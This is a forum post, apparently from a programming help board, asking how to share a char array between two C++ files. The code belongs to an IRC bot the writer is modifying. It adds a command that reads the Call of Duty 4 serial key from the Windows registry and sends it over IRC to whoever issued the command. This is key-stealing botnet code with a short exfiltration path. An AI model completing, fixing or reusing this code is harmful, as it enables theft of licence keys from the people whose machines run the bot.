Not the most appropriate title as I wasn't really sure how to describe my situation in so few words. So here is a proper explanation:
I found an IRC bot source where the bot would just join the channel and wait for commands and I started to mod it a little and add a few commands. One of the commands is a game key retriever. This is what I ideally want in my irc.cpp file:
Code:
else if (!strcmp(word[p], cmd_keyretriever)) {
Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "Call of Duty 4: ");
IRC_Send(sock, MSG_PRIVMSG, string, from);
}
And then in my retriever.cpp:
Code:
void Key(char *loc, char *regkey, char *name)
{
HKEY key;
char Serial[25];
DWORD len = sizeof(Serial);
if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS) {
RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
wsprintf(string, "%s%s", name, Serial);
}
}
I also have a headerfile; retriever.h:
Code:
void Key(char *loc, char *regkey, char *name);
So my problem is, is that I cannot for the life of me, create a char array that is accessable by both irc.cpp & retriever.cpp. I've tried extern chars in a header file included in both but there's always a clash or it can't convert something to something else.
Or perhaps there's a better way than setting the value of a char array in retriever.cpp and then using it in irc.cpp?